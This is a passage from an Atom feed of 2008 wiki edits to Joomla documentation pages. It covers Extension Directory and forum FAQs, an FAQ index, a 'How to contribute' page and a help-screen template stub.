*If you need to make changes to your extension listing and it has not been published, do not submit another application. Removing duplicates takes up precious time. Instead, either email your changes to team@extensions.joomla.org with detailed information about your extension or wait until your extension is published.&lt;br /&gt;
&lt;br /&gt;
===Why was my review of XYZ extension removed and/or edited?===&lt;br /&gt;
*Spam and/or self-promotion.&lt;br /&gt;
*Feature requests. Send feature requests to the developer.&lt;br /&gt;
*Support requests. Send support requests to the developer.&lt;br /&gt;
*You state that you haven&#039;t used the extension.&lt;br /&gt;
*Putting some type of code. The review section doesn&#039;t like code languages.&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9540</id>
		<title>Joomla! Extension Directory FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9540"/>
		<updated>2008-07-27T21:44:52Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: content moved from joomla cms project faqs&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===How do I list my extension in the extensions site?===&lt;br /&gt;
Information on how to list extensions in the extensions site is available here:&lt;br /&gt;
http://extensions.joomla.org/content/view/15/63/&lt;br /&gt;
&lt;br /&gt;
===What extension is used to manage extensions.joomla.org?===&lt;br /&gt;
It is a customized version of Mosets Tree (a commercial component you can find in the Joomla! Extensions Directory ).&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9538</id>
		<title>Joomla! Forum FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9538"/>
		<updated>2008-07-27T21:42:54Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: content moved from joomla cms project faqs&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===What forum is used at joomla.org?===&lt;br /&gt;
&lt;br /&gt;
We are currently using the forum software, phpBB3. phpBB is located here: http://www.phpbb.com/&lt;br /&gt;
&lt;br /&gt;
===How is the forum at joomla.org integrated with Joomla!?===&lt;br /&gt;
The forum is not bridged with Joomla! in any way. The forum uses a customized theme that matches the rest of the joomla.org sites.&lt;br /&gt;
&lt;br /&gt;
===What are the rules of the joomla.org forums?===&lt;br /&gt;
You can read the current forum rules here: http://forum.joomla.org/viewtopic.php?f=8&amp;amp;t=65&lt;br /&gt;
&lt;br /&gt;
===How do you empty your PM-box on the forum?===&lt;br /&gt;
&lt;br /&gt;
Problem&lt;br /&gt;
Your PM-box is full and nobody can send you anymore messages. How to solve this?&lt;br /&gt;
&lt;br /&gt;
Solution&lt;br /&gt;
go to your messages and &amp;quot;check&amp;quot; the box and click delete for those you want to delete.&lt;br /&gt;
&lt;br /&gt;
Note: READ them first before you delete them!&lt;br /&gt;
&lt;br /&gt;
===How do I search the forum to find what I need?===&lt;br /&gt;
&lt;br /&gt;
The forum search is somewhat tricky. Here are some tips for effective searching:&lt;br /&gt;
&lt;br /&gt;
#Searches are case sensitive, so try upper and lower case. For example, xml and XML will give different results.&lt;br /&gt;
#Searches are for whole words, so for example error and errors will give different results.The forums are spidered by external search engines so you may be more successful using one of these.&lt;br /&gt;
#Advanced search will let you search with more parameters.&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=FAQs&amp;diff=9536</id>
		<title>FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=FAQs&amp;diff=9536"/>
		<updated>2008-07-27T21:41:26Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: reorder, add forum faqs, jed faqs link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Joomla! Frequently Asked Questions (and their answers).&lt;br /&gt;
&lt;br /&gt;
* [[Starting with Joomla! FAQs]]&lt;br /&gt;
* [[Installation FAQs]]&lt;br /&gt;
* [[Administration FAQs]]&lt;br /&gt;
* [[Upgrading and Migrating FAQs]]&lt;br /&gt;
* [[Security and Performance FAQs]]&lt;br /&gt;
* [[Template FAQs]]&lt;br /&gt;
* [[Joomla! 1.0 Specific FAQs]]&lt;br /&gt;
* [[Joomla! 1.5 Specific FAQs]]&lt;br /&gt;
* [[Troubleshooting 1.5 FAQs]]&lt;br /&gt;
* [[Joomla! CMS project FAQs]]&lt;br /&gt;
* [[Joomla! Forum FAQs]]&lt;br /&gt;
* [[Joomla! Extension Directory FAQs]]&lt;br /&gt;
* [[JoomlaCode FAQs]]&lt;br /&gt;
* [[JEDL/FAQ|JEDL FAQ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:Landing Pages]]&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=How_to_contribute&amp;diff=7510</id>
		<title>How to contribute</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=How_to_contribute&amp;diff=7510"/>
		<updated>2008-05-31T17:42:37Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add forum support boards&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There are many ways you can contribute to the Joomla! project.  Even if you are not a developer, no matter what your skills, there is always some way you can help the project.  Here are some suggestions to get you started:&lt;br /&gt;
; Code&lt;br /&gt;
: If you are a developer then the best way to get started is to fix bugs and submit patches.  Contact [mailto:wilco.jansen@joomla.org Wilco Jansen] who will point you in the right direction.&lt;br /&gt;
&lt;br /&gt;
; Documentation&lt;br /&gt;
: The English documentation is maintained on this wiki and you only need to [http://docs.joomla.org/Special:Userlogin register] to be automatically granted write access.  A good place to start is the [[Cookie jar]].&lt;br /&gt;
&lt;br /&gt;
; Forum Support Boards&lt;br /&gt;
: The [http://forum.joomla.org/viewforum.php?f=513 Joomla! User Support] boards on the forum is a great place to help other users out who are experiencing difficulty. There&#039;s plenty of questions to go around and help is always needed.&lt;br /&gt;
&lt;br /&gt;
; Testing&lt;br /&gt;
: You don&#039;t need to be a developer to get involved in the development of Joomla!  We need people to test the code and report bugs or other issues.  Any user can get involved in this process.  Contact the Joomla! [[Bug Squad]] if you&#039;d like to get involved.&lt;br /&gt;
&lt;br /&gt;
; Translations&lt;br /&gt;
: To help with language packs, or translations of the help screens or other documentation, then contact your local translation team.  If there is currently no translation for you language then please consider starting one.  Contact [mailto:ole.ottosen@joomla.org Ole Ottosen] who will help you to get started.&lt;br /&gt;
&lt;br /&gt;
; Events&lt;br /&gt;
: There are regular local Joomla! events in many countries but if there isn&#039;t one in your country then why not organise one?  Contact [mailto:alex.kempkens@joomla.org Alex Kempkens] is you&#039;d like to do this.  If there is already a Joomla! event, such as a Joomla!Day, being organised, then why not see if you can help out?  Contact the event organiser, or ask [mailto:alex.kempkens@joomla.org Alex Kempkens] to put you in touch with the organisers.  A good way to start is to offer to assist with the event on the day as organisers are often looking for people who will help keep things running smoothly.&lt;br /&gt;
&lt;br /&gt;
; Sites&lt;br /&gt;
: We are always looking for people who can help us maintain various aspects of our official websites.  Contact one of the Joomla! project managers if you&#039;d like to get involved with this work.&lt;br /&gt;
&lt;br /&gt;
; Donations&lt;br /&gt;
: Time is our most precious commodity, so contributing your time is usually the most valuable thing you can do, but monetary donations are also welcome!  Donations help us with infrastructure costs and enable us to help with community events.  Contact [mailto:michelle.bisson@joomla.org Michelle Bisson] if you&#039;d like to donate a large sum, but smaller sums can be donated using this link in the top right corner of most of our websites.&lt;br /&gt;
&lt;br /&gt;
; Buy something from our shop&lt;br /&gt;
: We have a range of merchandise available, including many useful Joomla! books.  The Joomla! project receives a proportion of the sale price when you buy through our [http://shop.joomla.org shop].&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Igeoffi&amp;diff=4552</id>
		<title>User:Igeoffi</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Igeoffi&amp;diff=4552"/>
		<updated>2008-04-12T21:53:51Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: New page: On the J! Forum: http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=32483&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;On the J! Forum: http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=32483&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help15:Joomla.support.15&amp;diff=4551</id>
		<title>Help15:Joomla.support.15</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help15:Joomla.support.15&amp;diff=4551"/>
		<updated>2008-04-12T21:46:09Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: start page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Description==&lt;br /&gt;
{{Help screen description placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Version Changes==&lt;br /&gt;
{{Help screen version changes placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
{{Help screen column headers placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Typical Usage==&lt;br /&gt;
{{Help screen typical usage placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
{{Help screen quick tips placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Points to Watch==&lt;br /&gt;
{{Help screen points to watch placeholder}}&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
{{Help screen dependencies placeholder}}&lt;br /&gt;
&lt;br /&gt;
[[Category:DocCamp]]&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
</feed>